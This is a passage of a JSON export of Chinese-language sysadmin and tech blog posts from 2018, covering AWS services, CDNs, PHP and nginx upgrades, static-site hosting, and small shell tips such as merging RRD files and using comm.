    "body": "加州打算直接從法律上規定從 2020 年開始的新房子都要有太陽能：「<a href=\"https://www.independent.co.uk/news/world/americas/california-solar-power-panels-homes-renewable-green-energy-climate-change-a8337626.html\">California set to become first US state requiring solar panels on new homes</a>」。\r\n\r\n<blockquote>The state’s Energy Commission is due to vote next week on new energy standards that would require virtually all new homes to be constructed with solar panels from 2020.</blockquote>\r\n\r\n如果通過的話，從 20% 直接變成強制性的 100%：\r\n\r\n<blockquote>Currently around 20 per cent of single-family homes are constructed with solar capacity built in, but if the new standards are approved as expected this proportion will rise sharply.</blockquote>\r\n\r\n下個禮拜回來看看消息好了，這應該是蠻指標性的事情... 無論是在經濟上還是在環保題材上。",
    "title": "加州打算強制規定新房子都要有太陽能..."
  },
  {
    "id": "8309",
    "body": "最近 <a href=\"https://pages.github.com/\">GitHub Pages</a> 支援 HTTPS (透過 <a href=\"https://letsencrypt.org/\">Let's Encrypt</a>，參考「<a href=\"https://blog.gslin.org/archives/2018/05/02/8295/github-%E9%80%8F%E9%81%8E-lets-encrypt-%E6%8F%90%E4%BE%9B%E8%87%AA%E8%A8%82%E7%B6%B2%E5%9F%9F%E7%9A%84-https-%E6%9C%8D%E5%8B%99/\">GitHub 透過 Let's Encrypt 提供自訂網域的 HTTPS 服務</a>」這篇)，但測了一下不是我想要的效果，就找了一下網路上的資源，結果有找到還算可以的方案...\r\n\r\n<ul>\r\n\t<li>先把網站放在 <a href=\"https://github.com/\">GitHub</a> 上。(不需要設定 GitHub Pages)</li>\r\n\t<li>然後用 <a href=\"https://www.netlify.com/\">Netlify</a> 變成網站並且開啟 HTTPS。(可以選擇使用系統內提供的 Let's Encrypt，會透過 http-01 認證。如果因為 DNS 還沒生效的話也沒關係，可以之後再開。)</li>\r\n\t<li>然後用 <a href=\"https://www.cloudflare.com/\">Cloudflare</a> 管理 DNS 的部份 (主要是因為他的 root domain 可以設 <code>CNAME</code>，一般會提到的 <code>ALIAS</code> 就是指這個)。</li>\r\n</ul>\r\n\r\n這樣整個靜態服務都不用自己管理，而且有蠻多 header 可以設定，其中與 GitHub Pages 最主要的差異是 Netlify 支援 301/302 redirect。而關於 Netlify 的設定範例 (簡單的)，可以參考我在 GitHub 上的 <a href=\"https://github.com/gslin/git.tw\">git.tw</a> repository。\r\n\r\n然後 Netlify 上可以自己設定 header，當設定 <a href=\"https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security\">HSTS</a> 之後，<a href=\"https://www.ssllabs.com/\">SSL Labs</a> 的跑分也可以到 A+。\r\n\r\n整包目前看起來唯一的限制是 Netlify 的 125k requests/month (平均下來大約 4k requests/day)，不過只拿來做 redirect 應該還好...\r\n\r\nPS：如果有人要推薦其他的組合也歡迎...",
    "title": "用 GitHub + Netlify + Cloudflare 管理靜態網站..."
  },
  {
    "id": "8316",
    "body": "在朋友的 tweet 裡看到微軟啟用自己的 <a href=\"https://azure.microsoft.com/services/cdn/\">Azure CDN</a> 了，先前應該是提供 <a href=\"https://www.akamai.com/\">Akamai</a> 與 <a href=\"https://www.edgecast.com/\">EdgeCast</a> 的服務：「<a href=\"https://azure.microsoft.com/en-us/blog/announcing-microsoft-s-own-cdn-network/\">Announcing Microsoft's own Content Delivery Network</a>」。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/VAO2Z15.webp\" /><img src=\"https://i.gslin.com/imgur/VAO2Z15.jpg\" alt=\"\" /></picture>\r\n\r\n看圖似乎是有台灣的點，不過我找不到可以測試 traceroute 的 endpoint，頁面上用的圖還是 EdgeCast 的啊 XDDD\r\n\r\n<pre>;; ANSWER SECTION:\r\nazurecomcdn.azureedge.net. 1604 IN      CNAME   azurecomcdn.ec.azureedge.net.\r\nazurecomcdn.ec.azureedge.net. 3404 IN   CNAME   cs9.wpc.v0cdn.net.\r\ncs9.wpc.v0cdn.net.      3404    IN      A       117.18.232.200</pre>\r\n\r\n然後公測期間優惠價 50%：\r\n\r\n<blockquote>Azure Content Delivery Network Standard from Verizon (S1) and Akamai (S2) and Microsoft (S3)*\r\n*S3 is currently in public preview. CDN rates will be 50% of the stated price during this period.</blockquote>",
    "title": "Microsoft 啟用自己的 CDN 了..."
  },
  {
    "id": "8318",
    "body": "去年十一月出 <a href=\"https://secure.php.net/\">PHP</a> 7.2，現在已經更新到 7.2.5，各家軟體的相容性也都修的差不多了，差不多該升級了。\r\n\r\n在「<a href=\"https://blog.gslin.org/archives/2017/10/18/7657/php-7-2-%E7%9A%84%E6%95%88%E8%83%BD%E6%94%B9%E5%96%84/\">PHP 7.2 的效能改善</a>」這邊有提到與 PHP 7.1 的效能改善主要來自於同時間有多人同時存取時的最佳化。\r\n\r\n同樣 <a href=\"https://wiki.gslin.org/\">wiki</a> 也跟著更新了，來看看效果如何...",
    "title": "把 Blog 換成 PHP 7.2"
  },
  {
    "id": "8319",
    "body": "<a href=\"https://aws.amazon.com/codedeploy/\">AWS CodeDeploy</a> 可以除了可以更新跑在 <a href=\"https://aws.amazon.com/\">AWS</a> 自家的程式外 (像是 <a href=\"https://aws.amazon.com/ec2/\">EC2</a>、<a href=\"https://aws.amazon.com/lambda/\">Lambda</a> 之類的)，也能更新不是跑在 AWS 裡的程式。比較明顯的差異就是跑在 AWS 內的 CodeDeploy 是不另外收費的 (應該需要同一區，不過沒特別提到)，但跑在 AWS 外的需要收費：\r\n\r\n<blockquote>For CodeDeploy on EC2/Lambda: There is no additional charge for code deployments to Amazon EC2 or AWS Lambda through AWS CodeDeploy.\r\n\r\nFor CodeDeploy On-Premises: You pay $0.02 per on-premises instance update using AWS CodeDeploy. There are no minimum fees and no upfront commitments. For example, a deployment to three instances equals three instance updates. You will only be charged if CodeDeploy performs an update to an instance. You will not be charged for any instances skipped during the deployment.</blockquote>\r\n\r\n不過最近在測試的時候發現一堆雷，寫下來讓大家摸索的時候可以少痛苦一點... 之後 wiki 上的「<a href=\"https://wiki.gslin.org/wiki/AWS_CodeDeploy\">AWS CodeDeploy</a>」會持續更新。\r\n\r\n第一個是在測試時，會反覆安裝練習，但會發現 Deregistered 後一直沒消失，而同樣名字的 instance 與 IAM 都不能再被使用。這個問題在 AWS 官方的 forum 上有被提到是 bug，而且目前沒有解 (deregister 後會有一段時間留在系統上)，只能用 workaround 先處理 (用另外一個名字註冊)，所以在練習的人得注意：「<a href=\"https://forums.aws.amazon.com/thread.jspa?threadID=232664\">Deregister and register on-premise instance again</a>」。\r\n\r\n<blockquote>Thanks for your posting, this is a known bug on our side for deregister on-premise hosts. After you deregister an on-premises instance, you cannot create a replacement instance with the same name or the same associated IAM user name until AWS CodeDeploy deletes its records about the deregistered on-premises instance. This typically takes about 24 hours.</blockquote>\r\n\r\n再來是跑 <code>aws deploy install</code> 的時候會裝 <a href=\"https://packages.ubuntu.com/search?keywords=ruby2.0\">ruby2.0</a>，但從前面的連結可以看到，ruby2.0 只在 14.04 上有，所以 16.04 (或是最新的 18.04) 都會安裝失敗。這點在 AWS 的 <a href=\"https://github.com/\">GitHub</a> 上被戳了很多次，但目前都沒有下文：「<a href=\"https://github.com/aws/aws-codedeploy-agent/issues/61\">Ruby 2.0 is unmaintained - also cannot install on Ubuntu LTS #61</a>」、「<a href=\"https://github.com/aws/aws-codedeploy-agent/issues/92\">eu-west-2 Agent Version Incorrect (ruby2.0 error) #92</a>」、「<a href=\"https://github.com/aws/aws-cli/issues/2976\">ruby-2.0 won't work for recent ubuntu #2976</a>」。目前我的 workaround 是自己裝 codedeploy-agent，隨便抓一區的 install 檔案裝就可以了。\r\n\r\n然後是延續上一個問題，你雖然不在 AWS 內安裝 codedeploy-agent，但 install 檔案還是會去看看你是不是在 AWS 內... 而檢查的方法是去 <a href=\"http://169.254.169.254/\">http://169.254.169.254/</a> 裡挖資料，於是像 <a href=\"https://www.vultr.com/\">Vultr</a> 也學 EC2 支援 http://169.254.169.254/ 的就會跟你說不能裝... 這邊的 workaround 是用 <code>iptables -A OUTPUT -d 169.254.169.254 -j DROP</code> 擋下來，重開機的時候這條消失沒關係，只要安裝時有擋下來就好。\r\n\r\n最後是 AWS CodeDeploy 的 Web Console 後台上，On-premises instances 的 Matching instances 出不來，我是硬設下去發現 deploy 是有效的才發現 Web Console 這邊怪怪的。而且 On-premises 的 tag 部份不支援 <code>*</code>，也就是不能用 <code>api-example-*</code> 這樣去抓 (設下去也抓不到)，但在 Amazon EC2 instances 的部份都是正常的 (Matching instances 看得到，<code>*</code> 也是有用的)。這點在 AWS 的 forum 上有翻到類似的現象，但不確定是不是同樣問題：「<a href=\"https://forums.aws.amazon.com/thread.jspa?messageID=624949\">\" Deployment Failed No instances found in deployment.\"</a>」。\r\n\r\n不過 On-Premises Instances 通常都是 non-cloud solution (實體機器或是租用 VPS)，這個限制倒不是太大的問題，而且本來就有 tag 可以用了...\r\n\r\n上面提到的問題也許會隨時間改善，即使過了幾個月或是幾年，歡迎在 comment 留言提醒修正... 我應該會在 wiki 那邊繼續整理。",
    "title": "AWS CodeDeploy 跑在 On-Premises Instance 時的地雷..."
  },
  {
    "id": "8320",
    "body": "本來有做 <a href=\"https://dehydrated.de/\">dehydrated</a> 的 <a href=\"https://en.wikipedia.org/wiki/Personal_Package_Archive\">PPA</a> (在「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated\">PPA for dehydrated : Gea-Suan Lin</a>」這邊)，後來在 17.10+ 就有更專業的人包進去了 (參考「<a href=\"https://packages.ubuntu.com/search?keywords=dehydrated\">Ubuntu – Package Search Results -- dehydrated</a>」)，為了避免名稱相同但是內容物差很多，我把 PPA 的名字換成 dehydrated-lite 了 (參考「<a href=\"https://launchpad.net/~gslin/+archive/ubuntu/dehydrated-lite\">PPA for dehydrated (lite) : Gea-Suan Lin</a>」)。\r\n\r\n然後 0.6.2 的 dehydrated 針對 ACMEv2 有修正，這在 0.6.1 時會產生 certificate 裡有多餘資訊 (而 PPA 版的 gslin/dehydrated 只會停留在 0.6.1)，這點需要注意一下：\r\n\r\n<blockquote>Don't walk certificate chain for ACMEv2 (certificate contains chain by default)</blockquote>\r\n\r\n之後再找機會拔掉 gslin/dehydrated，也許會照著現在 APT 內的架構來做...",
    "title": "把本來 dehydrated 的 PPA 改成 dehydrated-lite"
  },
  {
    "id": "8322",
    "body": "繼四月出 <a href=\"https://aws.amazon.com/dynamodb/\">DynamoDB</a> 推出的 PITR 後 (參考「<a href=\"https://blog.gslin.org/archives/2018/04/02/8230/amazon-dynamodb-%E7%9A%84-point-in-time-recovery/\">Amazon DynamoDB 的 Point-In-Time Recovery</a>」這篇)，<a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora for MySQL</a> 也宣佈支援 PITR 了：「<a href=\"https://aws.amazon.com/blogs/aws/amazon-aurora-backtrack-turn-back-time/\">Amazon Aurora Backtrack – Turn Back Time</a>」。\r\n\r\n從截圖可以看到支援到秒層級：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/f6xyM6u.webp\" /><img src=\"https://i.gslin.com/imgur/f6xyM6u.jpg\" alt=\"\" /></picture>\r\n\r\n然後最多 72 小時，會有額外費用：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/WK6xFDW.webp\" /><img src=\"https://i.gslin.com/imgur/WK6xFDW.jpg\" alt=\"\" /></picture>\r\n\r\n這樣又讓 DBA 少了一些事情 XD",
    "title": "Amazon Aurora for MySQL 支援 Point-in-Time Recovery 了"
  },
  {
    "id": "8323",
    "body": "最近在寫網頁時發現 <a href=\"https://getbootstrap.com/\">Bootstrap</a> 的網站上給的 CDN 網址改了，從本來用的 <code>maxcdn.bootstrapcdn.com</code> (<a href=\"https://www.maxcdn.com/\">MaxCDN</a>) 變成 <code>stackpath.bootstrapcdn.com</code> (<a href=\"https://www.stackpath.com/\">StackPath</a>，本來的 <a href=\"https://www.highwinds.com/\">Highwinds</a>)。\r\n\r\n而且看起來跟 MaxCDN 的合作已經全部停了，現在 <code>maxcdn.bootstrapcdn.com</code> 也是指到 StackPath 上。\r\n\r\n翻了 <a href=\"https://web.archive.org/\">Wayback Machine</a> 上的記錄，看起來是在 <a href=\"https://web.archive.org/web/20180409045017/https://getbootstrap.com/\">20180409045017</a> 與 <a href=\"https://web.archive.org/web/20180410051321/https://getbootstrap.com/\">20180410051321</a> 這之間換的，也就是大約是在 2018/04/10 前後換的。不知道後面的交易是什麼...\r\n\r\n可以參考 K 社的 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料「<a href=\"https://smokeping-hinet-tpe-1.kkbox.com.tw/smokeping/?displaymode=n;start=2017-05-16%2016:13;end=now;target=CDN.netdna_bootstrapcdn_com\">SmokePing Latency Page for netdna.bootstrapcdn.com (NetDNA, Bootstrap)</a>」：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/RzfEa3v.webp\" /><img src=\"https://i.gslin.com/imgur/RzfEa3v.jpg\" alt=\"\" /></picture>\r\n\r\n可以看到 <a href=\"https://www.hinet.net/\">HiNet</a> 走的點的latency 比之前好不少... ",
    "title": "Bootstrap 的 CDN 從 MaxCDN 換到 StackPath (Highwinds) 了..."
  },
  {
    "id": "8324",
    "body": "這幾天收到 <a href=\"https://www.vultr.com/\">Vultr</a> 的通知信，要收 5% 的稅了：\r\n\r\n<blockquote>Dear Valued Client,\r\n\r\nVultr.com will start collecting a Value Added Tax (also known as VAT) for services provided after 2018 June 01 in order to comply with new Taiwan regulations. Beginning on 2018 July 1, your invoices will include an additional tax charge of 5% for customers who purchase electronic services in Taiwan. The tax is applied to comply with new Taiwan VAT legislation requiring non-residents who are providing \"remote services\" to begin collecting Taiwanese VAT on these services when they are provided to Taiwanese residents or persons who are not registered for VAT.\r\n\r\nAffected customers need to submit their VAT ID to Vultr. If you don’t provide a business VAT ID, your account charges might increase.\r\n\r\nIf you have any questions about this upcoming change, please contact our support team today. Thank you again for being a customer!\r\n\r\nThe Vultr.com Team</blockquote>\r\n\r\n從 2018 七月開始收...",
    "title": "Vultr 開始要收台灣的稅了..."
  },
  {
    "id": "8325",
    "body": "關閉 Google Search 的 JavaScript 速度快好多，而且左方會有「中文」與「繁體中文」的選項，以及時間的選項可以選，另外也沒有奇怪的界面效果...\r\n\r\n我在 <a href=\"https://www.google.com/chrome\">Google Chrome</a> 裡是在這邊設定阻擋 <code>www.google.com</code>，如果你搜尋是用 <code>.com.tw</code> 網域的話則是設 <code>www.google.com.tw</code>：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/OJvPfNw.webp\" /><img src=\"https://i.gslin.com/imgur/OJvPfNw.jpg\" alt=\"\" /></picture>\r\n\r\n然後搜尋選項加上 <code>gbv=1</code>，這樣不會有重導：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/dOZT306.webp\" /><img src=\"https://i.gslin.com/imgur/dOZT306.jpg\" alt=\"\" /></picture>\r\n\r\n不過這樣做的缺點是沒辦法使用 <a href=\"https://www.google.com/maps\">Google Maps</a>，這個部份可以安裝「<a href=\"https://chrome.google.com/webstore/detail/simple-javascript-toggle/mhidlbegmoiddmebedbiijmpckambgfj\">Simple JavaScript Toggle</a>」，套件可以臨時打開 tab 這個網域的 JavaScript。",
    "title": "關閉 Google Search 的 JavaScript"
  },
  {
    "id": "8327",
    "body": "<a href=\"https://nginx.org/\">nginx</a> 的 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a> (「<a href=\"https://launchpad.net/~nginx/+archive/ubuntu/stable\">NGINX Stable : “Nginx” team</a>」這個) 推出了 1.14.0 的版本。\r\n\r\n這個版本使用了 <a href=\"https://www.openssl.org/\">OpenSSL</a> 1.1.0，對 cipher 這塊最大的差異主要是包括了 <code>CHACHA20</code> 與 <code>AESCCM</code> 演算法。後者的 <code>CCM</code> 指的是 <a href=\"https://en.wikipedia.org/wiki/CCM_mode\">CCM mode</a>，這是當時 <a href=\"https://en.wikipedia.org/wiki/OCB_mode\">OCB mode</a> 因為專利問題而發展出來的演算法，就目前的效能測試沒有 <a href=\"https://en.wikipedia.org/wiki/Galois/Counter_Mode\">GCM</a> 好，而且普及率也沒有 GCM 高，放進來應該是當備案 (當 GCM 有狀況時標準裡至少有方案可以選)：\r\n\r\n<blockquote>The catalyst for the development of CCM mode was the submission of OCB mode for inclusion in the IEEE 802.11i standard. Opposition was voiced to the inclusion of OCB mode because of a pending patent application on the algorithm. Inclusion of a patented algorithm meant significant licensing complications for implementors of the standard.</blockquote>\r\n\r\n真正的重點在於 <code>CHACHA20</code> 的引入，讓 OpenSSL 重新有主流 stream cipher 可以使用了... 上一個主流 stream cipher <a href=\"https://en.wikipedia.org/wiki/RC4\">RC4</a> 被打趴好久了。\r\n\r\n不過 TLSv1.3 要等 OpenSSL 1.1.1 才有 (參考「<a href=\"https://www.openssl.org/blog/blog/2017/05/04/tlsv1.3/\">Using TLS1.3 With OpenSSL</a>」這邊的說明)，目前可以在設定檔裡面設 <code>TLSv1.3</code> 而不會出現錯誤訊息，但暫時還不會有效果...",
    "title": "nginx 推出了 1.14.0 的 PPA"
  },
  {
    "id": "8328",
    "body": "跟<a href=\"https://5xruby.tw/\">五倍紅寶石</a>聊了蠻多方向的，決定合作開一門跟資料庫有關的課。上個禮拜先貼連結到我的 social network 上，但一直沒寫文章說明內容。所以就來寫文章推銷了：「<a href=\"https://www.accupass.com/event/1804260158051098886771\">| 五倍紅寶石 | 程式課程：?SQL 程式進階效能優化實作 - 台北假日班 | Accupass 活動通</a>」。\r\n\r\n這門課程預定在 5/26 與 6/2 上課，共 12 小時，分成兩個週六上課。課程主要是以 <a href=\"https://dev.mysql.com/\">MySQL</a> 的 <a href=\"https://en.wikipedia.org/wiki/InnoDB\">InnoDB</a> 為內容 (會採用 <a href=\"https://www.percona.com/software/mysql-database/percona-server\">Percona Server</a> 5.7 的系統)，在課堂上會有實際的 MySQL server 與 <a href=\"https://www.phpmyadmin.net/\">phpMyAdmin</a>，可以拿預載好的 data set 實際練習。\r\n\r\n由於是效能改善的主軸的課程，會從圍繞與效能有關的主題說明：\r\n\r\n<ul>\r\n\t<li>有哪些資料結構可以使用。像是 <code>VARCHAR</code> 與 <code>CHAR</code> 的差異，以及對 Index 的影響。</li>\r\n\t<li>怎麼樣設計出符合正規化規範的表格，以及使用與不用的時機。</li>\r\n\t<li>當表格正規化後，有哪些方式可以取得資料。像是各式的 <code>JOIN</code>、GROUP BY 以及 subquery。</li>\r\n\t<li>在系統內 Index 要怎麼下才會有效率。</li>\r\n\t<li>怎麼看 MySQL 對一組 SQL query 的解讀，這邊會針對 <code>EXPLAIN</code> 的操作以及輸出結果。</li>\r\n\t<li>常見的效能問題，像是 <code>ORDER BY RAND()</code>、N+1 以及 <code>LIMIT N,20</code> 造成資料庫效能不佳以及改善的方式。</li>\r\n</ul>\r\n\r\n而這門課主要針對兩種客群：\r\n\r\n<ul>\r\n\t<li>第一種是會對資料庫操作的 Programmer，像是後端工程師，全端工程師，或是 DevOps。由於課程內包括了系統上線前的設計與預防措施，以及上線後遇到狀況時的判讀與排除，對於 Programmer 來說是不可或缺的課程。</li>\r\n\t<li>第二種是管理資料庫的 DBA。在前期參與規劃資料表格設計時，可以提供精確的建議，以大幅降低後續維運上可能遇到的問題。以及當真的遇到效能問題，或是接手的系統就已經有效能問題時，提供可能的解決方案。</li>\r\n</ul>\r\n\r\n目標是透過這門課程，讓資料庫 (尤其是 MySQL) 被用的更淋漓盡致，而不是單純的遇到效能問題就加大機器。",
    "title": "最近開的課程：程式進階效能優化實作"
  },
  {
    "id": "8329",
    "body": "<a href=\"https://trac-hacks.org/wiki/DuplicateTicketSearchPlugin\">DuplicateTicketSearchPlugin</a> 是 <a href=\"https://trac.edgewall.org/\">Trac</a> 的 plugin，在開新票時會搜尋系統內可能重複開過的票給出建議。\r\n\r\n之前在寫 wiki 上的「<a href=\"https://wiki.gslin.org/wiki/Trac\">Trac</a>」條目時沒寫到，大概是最早的時候都沒裝，後來有人找出來要我裝的東西，所以印象沒那麼深刻。剛剛是在找 Trac + <a href=\"https://www.elastic.co/products/elasticsearch\">Elasticsearch</a> 有沒有現成的方案可以搭，結果先看到這個...\r\n\r\n產生的效果是這樣，在改變 summary 後會出現 (focus 從 summary 移開時)：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/po17VYt.webp\" /><img src=\"https://i.gslin.com/imgur/po17VYt.jpg\" alt=\"\" /></picture>\r\n\r\n當然就算裝了還是難免會重複開 (尤其組織夠大的時候)，但算是有幫助的東西...",
    "title": "Trac 的 DuplicateTicketSearchPlugin"
  },
  {
    "id": "8331",
    "body": "在「<a href=\"https://seld.be/notes/php-versions-stats-2018-1-edition\">PHP Versions Stats - 2018.1 Edition</a>」這邊看到這次的統計資料了，可以看到會使用 <a href=\"https://getcomposer.org/\">Composer</a> (以及 <a href=\"https://packagist.org/\">Packagist</a>) 的 <a href=\"https://secure.php.net/\">PHP</a> 版本中，7.0+ 已經是 78% 了，半年前是 67% 左右...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/LjkBGIL.webp\" /><img src=\"https://i.gslin.com/imgur/LjkBGIL.jpg\" alt=\"\" /></picture>\r\n\r\n除了 PHP 5.x 以外，PHP 7.0 也是 12 月要停止支援 (2018/12/3)，比 PHP 5.6 的支援期還早一個月左右 XD",
    "title": "2018 五月 Packagist 看到的 PHP 版本分佈"
  },
  {
    "id": "8332",
    "body": "<a href=\"https://www.google.com/chrome/\">Google Chrome</a> 的新 tab 現在預設都會出現 search engine 頁面 (即使你設為 <code>about:blank</code>)，但我從來就沒有在這頁搜尋過東西 (都是直接在 location bar 輸入)，所以想要拿掉這個「功能」。\r\n\r\n找到由 thakis@chromium.org 提供的 extension，而且是在 2013 年就發佈了：「<a href=\"https://chrome.google.com/webstore/detail/empty-new-tab-page/dpjamkmjmigaoobjbekmfgabipmfilij\">Empty New Tab Page</a>」，他給的截圖意思就很清楚了：\r\n\r\n<img src=\"https://i.gslin.com/imgur/Iho1RIn.jpg\" alt=\"\" />\r\n\r\n看了一下 source code 也的確是乾乾淨淨的，先裝這個...",
    "title": "讓 Chrome 開新 Tab 時不要出現搜尋頁"
  },
  {
    "id": "8333",
    "body": "<a href=\"https://aws.amazon.com/\">AWS</a> 推出了 C5d instance，同時針對 CPU 與 Disk 最佳化的機種：「<a href=\"https://aws.amazon.com/blogs/aws/ec2-instance-update-c5-instances-with-local-nvme-storage-c5d/\">EC2 Instance Update – C5 Instances with Local NVMe Storage (C5d)</a>」。可以看出是在本地端掛上 NVMe 的方式在租用，價錢也不算高：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/gQ3BcLz.webp\" /><img src=\"https://i.gslin.com/imgur/gQ3BcLz.jpg\" alt=\"\" /></picture>\r\n\r\n以帶了一個 local NVMe 的規劃來看，像是補 c3 系列產品線的感覺：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ggsHHHs.webp\" /><img src=\"https://i.gslin.com/imgur/ggsHHHs.jpg\" alt=\"\" /></picture>\r\n\r\n然後不是每個有 c5 的區域都會有 c5d，目前只有五區有：\r\n\r\n<blockquote>C5d instances are available in On-Demand, Reserved Instance, and Spot form in the US East (N. Virginia), US West (Oregon), EU (Ireland), US East (Ohio), and Canada (Central) Regions. Prices vary by Region, and are just a bit higher than for the equivalent C5 instances.</blockquote>",
    "title": "Amazon EC2 推出 C5d instance：對 CPU 與 Disk 最佳化"
  },
  {
    "id": "8336",
    "body": "昨天把跑在 Raspberry Pi 上的 <a href=\"https://oss.oetiker.ch/smokeping/\">SmokePing</a> 資料改用統一版本 (我在 <a href=\"https://github.com/\">GitHub</a> 上公開的 <a href=\"https://github.com/gslin/smokeping-config.d\">smokeping-config.d</a> 這個)，但有些節點的 naming 改變了，所以會需要將資料整在一起。\r\n\r\n在透過 <a href=\"https://www.google.com/\">Google</a> 搜尋後，用的工具是「<a href=\"https://gist.github.com/arantius/2166343\">A very simple script to merge multiple RRD files, since none of those available seem to work.</a>」這個，是一隻 <a href=\"https://www.python.org/\">Python</a> 的程式。另外可以從程式碼裡面看到他使用了 <code>rrdtool</code> 這個 CLI 工具 (SmokePing 用了 RRD 格式儲存資料)，所以使用這隻程式前需要先安裝 rrdtool 這個套件：\r\n\r\n<pre>$ sudo apt install rrdtool</pre>\r\n\r\n接下來就是照說明來轉換。由於 rrdtool 這隻程式沒有對 filename 做特殊處理 (i.e. 把 <code>-</code> 當作 stdin)，所以會使用到 <code>/dev/stdin</code> 這種特殊方式來當作 input：\r\n\r\n<pre>./simple-rrd-merge.py input-a.rrd input-b.rrd | rrdtool restore /dev/stdin output.rrd</pre>\r\n\r\n當然，要記得先把 SmokePing 停掉再跑會比較好 XD\r\n\r\n生出的 RRD 檔案再覆蓋回去 (我是先備份起來，以免有意外...)，然後再把 SmokePing 跑起來就可以了。",
    "title": "合併 RRD 資料的工具"
  },
  {
    "id": "8337",
    "body": "<a href=\"https://aws.amazon.com/rds/\">AWS</a> 推出了 <a href=\"https://www.postgresql.org/\">PostgreSQL</a> 試爆場讓大家測試 XDDD：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/amazon-rds-database-preview-environment-now-available/\">Amazon RDS Database Preview Environment is now available</a>」。\r\n\r\n可以測還沒有正式 release 的版本：\r\n\r\n<blockquote>The Amazon RDS Database Preview Environment is now available, offering an environment for customers to easily test beta, release candidate, and early production versions of PostgreSQL database engine software with the convenience and flexibility of Amazon RDS.</blockquote>\r\n\r\n這個產品定位有點奇怪...",
    "title": "PostgreSQL 的 Amazon RDS Database Preview Environment"
  },
  {
    "id": "8338",
    "body": "剛好今天才被問是不是可以在 <a href=\"https://aws.amazon.com/rds/aurora/details/mysql-details/\">Amazon Aurora (MySQL-Compatible Edition)</a> 裡面翻出有哪些 Slow Query，剛好想到這幾天發表了這個功能：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/amazon-aurora-publishes-general-slow-query-and-error-logs-to-amazon-cloudwatch/\">Amazon Aurora Publishes General, Slow Query and Error Logs to Amazon CloudWatch</a>」。\r\n\r\n<blockquote>You can now configure the MySQL-compatible edition of Amazon Aurora to publish general logs, slow query logs, and error logs to Amazon CloudWatch Logs. Previously, you could only publish audit logs.</blockquote>\r\n\r\n看起來是要另外開 (畢竟 <a href=\"https://docs.aws.amazon.com/AmazonCloudWatch/latest/logs/WhatIsCloudWatchLogs.html\">CloudWatch Logs</a> 不是免費的 XD)，不過以這類型的 log 產生速度與數量來說應該還行...",
    "title": "MySQL 版本的 Amazon Aurora 會將各種記錄丟到 CloudWatch Logs 了..."
  },
  {
    "id": "8339",
    "body": "這個功能在 <a href=\"https://aws.amazon.com/elasticloadbalancing/\">ELB Classic</a> 年代時有跟 <a href=\"https://aws.amazon.com/\">AWS</a> 提過，到 ALB 支援了 (總算...)：「<a href=\"https://aws.amazon.com/about-aws/whats-new/2018/05/application-load-balancer-announces-slow-start-support/\">Application Load Balancer Announces Slow Start Support for its Load Balancing Algorithm</a>」。\r\n\r\n<blockquote>Application Load Balancers now support a slow start mode that allows you to add new targets without overwhelming them with a flood of requests. With the slow start mode, targets warm up before accepting their fair share of requests based on a ramp-up period that you specify.</blockquote>\r\n\r\n然後時間可以設定，從 30 秒到 15 分鐘：\r\n\r\n<blockquote>Slow start mode can be enabled by target group and can be configured for a duration of 30 seconds to 15 minutes. The load balancer linearly increases the number of requests sent to a new target in a target group up to its fair share during the slow start ramp-up window.</blockquote>\r\n\r\n就之前的經驗來說，這在跑 <a href=\"https://secure.php.net/\">PHP</a> 的時候會很需要這個功能 (之前是在 <a href=\"https://www.f5.com/\">F5</a> 的設備上設定)。其他的語言因為性質不太一樣，可能不會這麼吃這個功能。\r\n\r\n主要是因為 PHP 是在 request 進來時 compile 並且 cache。所以在機器剛起來時，儘量將 CPU 留給 <a href=\"https://secure.php.net/manual/en/book.opcache.php\">opcache</a>，把常用的頁面 compile 完並且放進 cache，而不是讓大量的連線灌進來，這樣對使用體驗不會太好... (要避免 CPU 吃滿 100% 很久，造成每個連線都很慢才跑完)\r\n\r\nAWS 推出 Slow Start 後對 auto scaling 時的順暢度會好不少...",
    "title": "ALB 支援 Slow Start 了"
  },
  {
    "id": "8341",
    "body": "最近在 <a href=\"https://twitter.com/\">Twitter</a> 上看到不少 shell 指令的說明，這則 tweet 是講 <a href=\"https://en.wikipedia.org/wiki/Comm\">comm</a> 這個指令：\r\n\r\n<blockquote class=\"twitter-tweet\" data-lang=\"en\"><p lang=\"en\" dir=\"ltr\">comm combinatorics, inspired by <a href=\"https://twitter.com/b0rk?ref_src=twsrc%5Etfw\">@b0rk</a> and motivated by wanting to stop feeling so overwhelmingly baffled by comm options <a href=\"https://t.co/88Me9qftUq\">pic.twitter.com/88Me9qftUq</a></p>&mdash; Dianne Dietrich (@smallandmath) <a href=\"https://twitter.com/smallandmath/status/994259378508369922?ref_src=twsrc%5Etfw\">May 9, 2018</a></blockquote>\r\n<script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\n1 是只有第一個檔案有的內容，2 是只有第二個檔案有的內容，而 3 是兩者都有的內容，而且檔案內容需要排序過。\r\n\r\n當你 <code>-1</code> 時表示幹掉 1 的部份，<code>-2</code> 代表幹掉 2 的部份，<code>-3</code> 代表幹掉 3 的部份，然後可以疊起來用... 不過平常還是用 <a href=\"https://en.wikipedia.org/wiki/Diff\">diff</a> 比較多，每次看到 comm 的說明都是玩過再熟悉一下，然後就丟著 XD",
    "title": "comm 的用法..."
  },
  {
    "id": "8344",
